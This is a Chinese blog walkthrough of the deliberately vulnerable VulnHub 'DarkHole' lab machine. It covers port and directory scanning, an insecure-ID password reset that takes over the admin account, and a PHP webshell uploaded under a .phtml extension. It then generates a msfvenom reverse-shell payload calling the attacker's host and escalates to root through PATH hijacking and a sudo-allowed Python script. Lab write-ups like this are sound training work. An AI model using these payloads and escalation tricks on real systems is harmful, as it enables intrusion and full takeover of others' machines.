DarkHole
- 写写打靶记录。
- 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/
信息收集
- 由于将 Kali 与 VulnHub 使用 VMware Nat 网卡进行了桥接,所以使用 Kali 去扫描靶机。
- 首先查看 Kali IP 地址:
1 | ┌──(root㉿kali)-[~] |
- 扫描当前网段,发现靶机 IP 地址:
1 | ┌──(root㉿kali)-[~] |
- 扫描开放端口:
1 | ┌──(root㉿kali)-[~] |
- 扫描端口对应服务:
1 | ┌──(root㉿kali)-[~] |
- 扫描出 80 端口的 Web 服务,通常情况下不考虑 SSH 爆破,访问一下 Web 服务:
目录扫描
- 使用 feroxbuster 扫一扫:
1 | feroxbuster -u http://192.168.1.140 |
发现了几个目录,找一找有没有可用信息:
config:有一个 database.php 文件,点开内容为空。
upload:有一个 d.jpg 文件,点开是张合照。
css:单纯的 CSS 文件。
js:单纯的 JS 文件。
垂直越权
- 没啥用,回到主页随便点一点,好吧,只有一个 Login 按钮能点,迷:
这时候,一般会出现几种思路:
口令爆破
SQL 注入
注册登录
经过简单测试,口令爆破失败不存在账号密码逻辑问题,也不存在 SQL 注入。
那就简单注册一个账号:
- 注册成功,账号密码为:yongz/123456。
- 登录一下:
- 页面非常简单,好像也没啥东西,不过查看 URL 发现有参数提交,怀疑存在 SQL 注入,试一试。
- 简单试了一下,也没有,不过这里有个修改密码,抓个包看看:
- 发现出现了 id=2,这很有可能表示当前用户标识,而 id=1 就可能为管理员,因为可以尝试修改 id=1 的密码,修改为:admin。
- 猜测账号为:admin,尝试登录一下,当然这里使用 BurpSuite 跑用户字典也是可以的。
- 成功登录!
文件上传
- 发现 admin 和普通用户不同,有一个文件上传功能,尝试一下上传木马文件:
1 | eval($_REQUEST[cmd]); @ |
发现只能上传图片格式文件,并且通过抓包发现不在前端进行校验,这时有两个思路:
上传图片马,看看其他地方是否存在文件包含。
上传一下其他格式文件,看看是否真为白名单校验。
第一种不太可能,试试第二种:
1 | cp shell.php shell.php3 |
- 发现上传成功,但是无法执行:
- 使用 BurpSuite 跑一下,看看还支持什么后缀:
- 发现都可以上传成功,经过折磨,发现 phtml 后缀可以执行:
- 使用 AntSword 连接一下:
- 经过简单的查找发现了原来的密码:
MSF 上马
- 由于 AntSword 的 Shell 功能不是很强,使用 MSF 的 Shell,生成一个 Linux/PHP 的马:
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.142 LPORT=4444 -f elf -o shell.elf |
环境变量提权
- 经过简单的查看,发现有三个可登录用户,现在的权限不够,需要提个权:
- 去家目录找一找,发现 darkhole 没东西,john 有:
- 其中 toto 有一个 root 的执行权限,执行一下看看:
- 发现执行 toto 文件返回一个 id 命令的结果,我们可以尝试利用这个特性,在本地编辑新的 id 文件,写入 /bin/bash,给执行权限。将文件路径写入到原有环境变量前(从前往后顺序匹配),这样使用 id 命令时就会优先匹配此路径下的 id 文件,运行 toto 文件使用 john 身份调用 id 命令时就会获得 shell:
1 | echo '/bin/bash' > /tmp/id;chmod +x /tmp/id;export PATH=/tmp:$PATH |
- 成功提权!
SUDO 提权
- 刚刚我们在目录下发现了一个 password,查看一下:
1 | cat password |
- 发现 john 的密码,由于现在还不是 root 权限,简单查看一下发现 sudo 存在:
1 | sudo -l -S |
- 发现可以用 root 权限执行 file.py 文件,查看一下文件内容,好吧空的,写段 Shell 代码:
1 | echo "import pty;pty.spawn('/bin/bash')" > file.py |
- 提权成功~
- 查找下 flag:
- flag:DarkHole{You_Are_Legend}
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yongz丶!